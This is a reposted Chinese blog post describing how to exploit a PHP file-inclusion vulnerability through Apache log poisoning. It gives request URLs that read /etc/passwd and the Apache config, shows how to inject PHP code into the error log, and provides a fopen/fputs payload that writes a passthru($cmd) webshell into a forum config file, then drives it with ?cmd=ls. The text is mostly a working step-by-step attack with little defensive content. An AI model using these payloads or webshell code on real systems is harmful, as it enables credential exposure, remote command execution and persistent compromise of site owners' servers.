关于php包含apache日志的随想,关于php包含Apache日志的随想

来源:http://2096.blogbus.com/index.html  关于php包含Apache日志的利用,其实也就是利用提交的地址被Apache服务器日志记录,在日志里提交相应的php语句,从而包含了去执行。当 然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。  比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句   include($zizzy); ?>  你可以  http://xxx.com/z.php?zizzy=/etc/inetd.conf  http://xxx.com/z.php?zizzy=/proc/cpuinfo  http://xxx.com/z.php?zizzy=/etc/passwd  就可以利用包含语句来查看一些系统环境和密码档。  那么关于日志包含下面我们来看:  比如我们的Apache的服务器配置文件位置在这里  /usr/local/apache/conf/httpd.conf  那么我们来包含一下httpd.conf,来看下路径信息什么的  http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf  读出Apache的配置信息    User #3  Group silver  ServerAdmin webmaster@xxx.com  DocumentRoot /home/virtual/www.xxx.com  ServerName www.xxx.com  ServerAlias xxx.com  ErrorLog /home/virtual/www.xxx.com/logs/www-error_log  CustomLog /home/virtual/www.xxx.com/logs/www-access_log common  ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/  Alias /icons/ /home/virtual/www.xxx.com/icons    而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  就可以读出Apache的错误日志记录  [Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not  exist: /home/virtual/www.xxx.com/hack.php  [Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not  exist: /home/virtual/www.xxx.com/111111111.php  [Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not  exist: /home/virtual/www.xxx.com/22222.php3  [Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/forum  [Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/blog  [Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke  directory as script: /home/virtual/www.xxx.com/kkkkkkkk  而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。  比如我们提交  http://www.xxx.com/<?phpinfo ();?>  这样肯定会出错,而出错就被记在日志里了  http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  这样这个日志文件就被包含成了phpinfo的信息  可以的话这样子也不错,<?system ("ls+-la+/home");?>  发散思维:  下面想的再深入一点就是我在想如何写入一个webshell来利用。  当然前提是权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。  比如这句php语句  =str_replace("?","!",passthru($cmd));?>  到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,  fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入=str_replace("?","!",passthru($cmd));?>这个执行命令的语句。连起来就是  $fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"=str_replace("?","!",passthru($cmd));?>");fclose($fp);?>  我们提交这句,再让Apache记录到日志里  ");fclose($fp'>http://xxx.com/z.php?zizzy=$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"=str_replace(\"?\",\"!\",passthru(\$cmd));?>");fclose($fp);?>  语句里加了些斜杆也是为了magic_quotes_gpc考虑,这样就在config.php里写入了一个php木马语句。  再来提交  http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log  这样webshell就写入成功了。  OK.  http://www.xxx.com/forum/config.php这个就成了我们的webshell  你可以http://www.xxx.com/forum/config.php?cmd=ls来使用了

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值